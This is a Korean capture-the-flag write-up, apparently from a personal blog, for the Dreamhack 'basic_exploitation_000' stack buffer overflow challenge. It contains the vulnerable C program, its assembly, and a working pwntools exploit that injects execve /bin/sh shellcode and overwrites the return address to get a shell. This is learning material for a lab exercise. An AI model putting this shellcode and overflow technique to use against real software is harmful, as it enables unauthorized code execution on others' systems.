환경정보를 살펴보면, 보호기법이 아무것도 적용되지 않고 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
main 함수를 보면 buf에 할당된 크기는 0x80 즉, 128 바이트이다.
그런데 scanf를 통해 buf에 입력된 값의 크기는 141 바이트이기 때문에 Buffer Overflow가 발생한다.
그 뒤에 initialize 함수가 실행되고, printf로 buf 주소를 출력하고, scanf로 입력을 받는다.
initialize 함수를 보면 실행되고 30초가 지나면 Time Out 메시지가 출력되며 프로그램이 종료된다.
스택은 Buffer + SFP (4 Byte) + RET (4 Byte) 구조로 이루어져 있다.
buf 크기는 128 Byte이므로 buf + SFP 의 값은 132 Byte가 된다.
132 바이트에 쉘 코드를 채운 후 RET에 침범하여, buf 주소 값을 넣어주면 buf로 돌아가서 쉘 코드를 실행시키고 권한을 탈취할 수 있다.
어셈블리어로 컴파일해 코드도 봐보자.
.file "basic_exploitation_000.c"
.text
.section .rodata
.LC0:
.string "TIME OUT"
.text
.globl alarm_handler
.type alarm_handler, @function
alarm_handler:
.LFB6:
.cfi_startproc
endbr64
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
leaq .LC0(%rip), %rax
movq %rax, %rdi
call puts@PLT
movl $-1, %edi
call exit@PLT
.cfi_endproc
.LFE6:
.size alarm_handler, .-alarm_handler
.globl initialize
.type initialize, @function
initialize:
.LFB7:
.cfi_startproc
endbr64
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
movq stdin(%rip), %rax
movl $0, %ecx
movl $2, %edx
movl $0, %esi
movq %rax, %rdi
call setvbuf@PLT
movq stdout(%rip), %rax
movl $0, %ecx
movl $2, %edx
movl $0, %esi
movq %rax, %rdi
call setvbuf@PLT
leaq alarm_handler(%rip), %rax
movq %rax, %rsi
movl $14, %edi
call signal@PLT
movl $30, %edi
call alarm@PLT
nop
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size initialize, .-initialize
.section .rodata
.LC1:
.string "buf = (%p)\n"
.LC2:
.string "%141s"
.text
.globl main
.type main, @function
main:
.LFB8:
.cfi_startproc
endbr64
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $160, %rsp
movl %edi, -148(%rbp)
movq %rsi, -160(%rbp)
movq %fs:40, %rax
movq %rax, -8(%rbp)
xorl %eax, %eax
movl $0, %eax
call initialize
leaq -144(%rbp), %rax
movq %rax, %rsi
leaq .LC1(%rip), %rax
movq %rax, %rdi
movl $0, %eax
call printf@PLT
leaq -144(%rbp), %rax
movq %rax, %rsi
leaq .LC2(%rip), %rax
movq %rax, %rdi
movl $0, %eax
call __isoc99_scanf@PLT
movl $0, %eax
movq -8(%rbp), %rdx
subq %fs:40, %rdx
je .L5
call __stack_chk_fail@PLT
.L5:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size main, .-main
.ident "GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
pwntools로 익스플로잇 코드를 짜보자.
from pwn import *
p = remote("host3.dreamhack.games", 17251)
buf = int(p.recv()[7:17], 16)
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x90"*106
payload += p32(buf)
p.sendline(payload)
p.interactive()
원격 서버 접속 -> remote 클래스
buf 의 주소 10 자리를 16진수로 바꿔서 저장한다.
왜인지 buf = int(p.recv(10), 16) 로 하면 자꾸 오류가 나서 구글링을 하다 발견했다.
어차피 같은 10개인데 뭐가 다른가 싶기도 하지만,
출력데이터를 index 7 ~ 17만 16진수로 buf에 저장하는거라고 한다.
* 아아아아아 고민하다가 저게 왜 7부터 시작하는지 알 것 같다.
buf 주소가 "buf = (0x-------)" 형식으로 출력되니까 앞에 "buf=( 6자리를 제외하고 7번째 문자부터 가져가기 위함이었다!
p.recvuntil("buf = (")
위의 코드를 통해 "buf = (" 문자열을 읽어서 반환하는 방법도 있다고 한다.
p.recvline()
같은 방법으로 개행문자 "\n" 를 recvline 을 통해 한 줄을 읽어서 반환한다.
scanf() 우회 쉘 코드인 26 바이트 쉘 코드를 작성한다.
나는 python3를 쓰니까 문자열 앞에 바이트 형식으로 변화해주는 b를 붙여야 한다.
132 - 26 = 106 이므로 나머지 106 바이트는 아무 문자로 채운다.
RET 전까지 채워지면 buf 주소 값을 32bit 리틀 엔디언 패킹 방식으로 넣는다.
sendline -> payload 값 전송
interactive -> 쉘에 접속
중간에 오류가 나서 pyelftools 버전을 0.30에서 0.29로 낮춰주었다.
이게 그 오류다.
플래그가 나왔다!!
'Wargame > Dreamhack' 카테고리의 다른 글
[Dreamhack] ssp-001 (0) | 2023.09.24 |
---|---|
[Dreamhack] Return to shallcode (0) | 2023.09.24 |
[Dreamhack] XSS-1 (0) | 2023.09.14 |
[Dreamhack] FFFFAAAATTT (0) | 2023.04.02 |
[Dreamhack] file-download-1 (0) | 2022.11.21 |